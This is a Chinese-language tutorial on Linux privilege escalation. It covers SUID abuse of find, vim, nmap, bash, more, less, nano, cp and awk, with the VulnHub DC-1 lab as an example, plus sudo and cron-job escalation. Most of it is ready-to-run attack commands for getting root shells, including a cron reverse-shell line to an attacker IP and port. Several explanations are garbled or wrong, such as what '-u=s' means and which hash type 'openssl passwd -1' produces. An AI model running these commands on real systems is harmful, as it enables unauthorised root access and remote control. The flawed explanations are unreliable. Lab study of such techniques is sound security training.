suid(set uid)是linux中的一种特殊权限,它允许一个程序在执行时临时拥有其所有者的权限。这种特性可以被用来进行权限提升,即在某些情况下,普通用户可以通过执行具有SUID权限的程序来获得更高权限,例如root权限。
SUID权限通常设置在二进制程序上,当设置了SUID权限的程序被执行时,执行者将获得该程序所有者的权限,直到程序执行完成。这可以用于合法的权限提升,比如让用户能够编辑一些需要特定权限的文件,但也可能被滥用来进行恶意的权限提升。
提权条件:
1、只有可以执行的二进制程序文件才能设定SUID权限
2、SUID权限只在该程序执行过程中有效
3、命令执行者对二进制程序文件有执行(x)权限
关于SUID权限的命令通常是使用chmod
命令,例如:
1、设置suid:chmod u+s file
2、去除suid:chmod u-s file
查找系统中具有SUID权限的文件,可以使用如下命令。例如:
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
这里针对find / -perm -u=s -type f 2>/dev/null 命令解析
/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
>表示重定向
/dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。
以上的命令会搜索整个文件系统,找出所有设置了SUID权限的文件
以上所有二进制文件都将以root用户权限执行,因为它们的权限中包含"s",并且对应的是root权限。
具有suid权限的二进制可执行文件有:
nmap
vim
find
bash
more
less
nano
cp
awk
这里以vulnhub 靶场DC1为例
find具有suid权限
用find执行命令,‐name参数填写真实存在的文件名flag4
find -name flag4 -exec "/bin/sh" -p \;
/bin/bash -p:这是要执行的命令。/bin/bash 是一个常见的 Unix/Linux shell,而 -p 选项表示
以特权(即以 root 用户)运行 bash。打开一个交互式 shell 环境,具有 root 用户权限。
还可以新建一个文件,使用find命令进行提权
touch 1.txt #创建1.txt
/usr/bin/find 1.txt -exec whoami \;
注:一定要保证‐name参数后的文件为真实存在的。
Vim提权通常是指当Vim或其相关文件(如vim.basic
)被设置了SUID权限时,可以利用这个特性来获得更高权限,通常是root权限
利用Vim提权:
1、使用具有SUID权限的vim.basic
编辑/etc/passwd
文件:
vim.basic /etc/passwd
在Vim中,你可以添加一个新的用户条目或修改现有用户条目的密码哈希,然后保存并退出。
2、创建新用户或修改密码:
在/etc/passwd
文件中添加如下格式的新用户:
其中$6$salt$hash
是使用openssl passwd -1 -salt salt
生成的密码哈希。
newuser:$6$salt$hash:uid:gid:GECOS:home:shell
3、切换到新用户:保存修改后的/etc/passwd
文件,并以新用户身份登录或使用su
命令切换到新用户。
Nmap 提权主要是利用 Nmap 旧版本中的交互模式,或者利用 Nmap 的 SUID 权限设置来进行权限提升
检查 Nmap 版本:首先需要确定 Nmap 的版本是否支持交互模式,通常在 Nmap 2.02 到 5.21 版本之间支持此模式。
nmap -V
启动 Nmap 交互模式:
nmap --interactive
利用 SUID 权限提权:如果 Nmap 具有 SUID 权限,可以通过执行 nmap --interactive
然后 !sh
来获取 root 权限的 shell。
nmap> !sh
sh-3.2# whoami
root
Bash 提权通常是指利用 Bash 脚本或 Bash 特殊技巧来获取更高级别的权限,尤其是在 Linux 或类 Unix 系统中
当 Bash 有 SUID 权限时,通过执行 bash -p
来尝试获取一个 root shell。这将使 Bash 以文件所有者的权限运行,如果文件所有者是 root,那么你就可能获得 root 权限
bash -p
这里仅介绍bash具有suid权限时的提权方式,bash提权还有滥用 sudo 权限、计划任务提权等方式进行提权
more
提权通常是指利用 more
命令的交互功能来尝试获取一个更高权限的 shell,尤其是在 Linux 或类 Unix 系统中
1、使用它来执行其他需要高权限的命令。例如,通过执行 more /etc/passwd
来查看密码文件。
more /etc/passwd
2、然后在 more
提示符 :
下输入 !/bin/sh
来尝试获取一个 shell
!/bin/sh
less
提权是一种在Linux系统中利用具有SUID权限的less
程序,来尝试执行高权限命令的方法。如果less
命令具有SUID权限,那么它就可以被用来提权
1、如果less
具有SUID权限,你可以通过它来执行命令。首先,使用less
打开一个文件,例如/etc/passwd
:
less /etc/passwd
2、然后在 less 提示符
:下输入
!/bin/sh` 来尝试获取一个 shell
!/bin/sh
nano
提权是一种在Linux系统中利用具有SUID权限的nano
文本编辑器来尝试获取更高权限的方法。如果nano
命令具有SUID权限,它就可以被用来提权。
1、如果nano
具有SUID权限,你可以通过它来执行命令。首先,使用sudo
加上具有SUID权限的nano
打开一个文件:
sudo /bin/nano
2、在nano
编辑器中,可以通过按下Ctrl + R
和Ctrl + X
来执行命令
Ctrl + R
Ctrl + X
如果cp
具有SUID权限,可以通过它来覆盖一些关键的系统文件或二进制文件,从而尝试获取更高权限
1、覆盖/bin/bash
来创建一个后门 ,这会创建一个具有SUID权限的bash副本
cp /bin/bash /tmp/bash
chmod u+s /tmp/bash
2、执行/tmp/bash -p
可以获取一个root权限的shell
/tmp/bash -p
awk
提权是一种在Linux系统中利用具有SUID权限的awk
程序来尝试执行高权限命令的方法。如果awk
命令具有SUID权限,它就可以被用来提权
sudo awk 'BEGIN {system("/bin/bash")}'
sudo
提权通常是指在Linux系统中,如果一个普通用户被授予了使用sudo
来执行某些命令的权限。
一般情况下,我们使用sudo命令都需要输入root密码
管理可能为了方便对/etc/sudoers进行编辑成sudo免密码 :
test ALL=(ALL:ALL) NOPASSWD:ALL 新增了一个test用户
切换到test用户, 不需要输入密码,且拥有root的权限
sudo su test
计划任务提权是Linux系统提权的一种方法,它利用了系统中的定时任务(如cron作业)的配置不当或弱点来实现权限提升
1、查找计划任务:使用命令crontab -l
查看当前用户的cron作业,或使用ls -la /etc/cron.*
查看系统级别的cron作业配置文件
ls -l /etc/cron*
cat /etc/crontab
2、分析计划任务的权限:检查cron作业文件的权限和所有者,如果某个作业文件权限较宽松(如权限为777),或者属于root,那么可能存在提权机会
3、编辑计划任务提权:如果发现可写的cron作业文件,尝试编辑该文件,添加执行恶意命令的行。例如,添加以下行来尝试反弹shell:
* * * * * /bin/bash -i >& /dev/tcp/192.168.111.5/1234 0>&1
其中192.168.111.5
和1234
分别是攻击者机器的IP地址和端口。
4、利用环境变量提权:某些cron作业可能通过环境变量执行命令,如果这些环境变量可以被修改,那么可以尝试添加恶意代码。例如:
SHELL=/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/path/to/your/malicious/script
加下方wx,拉你一起进群学习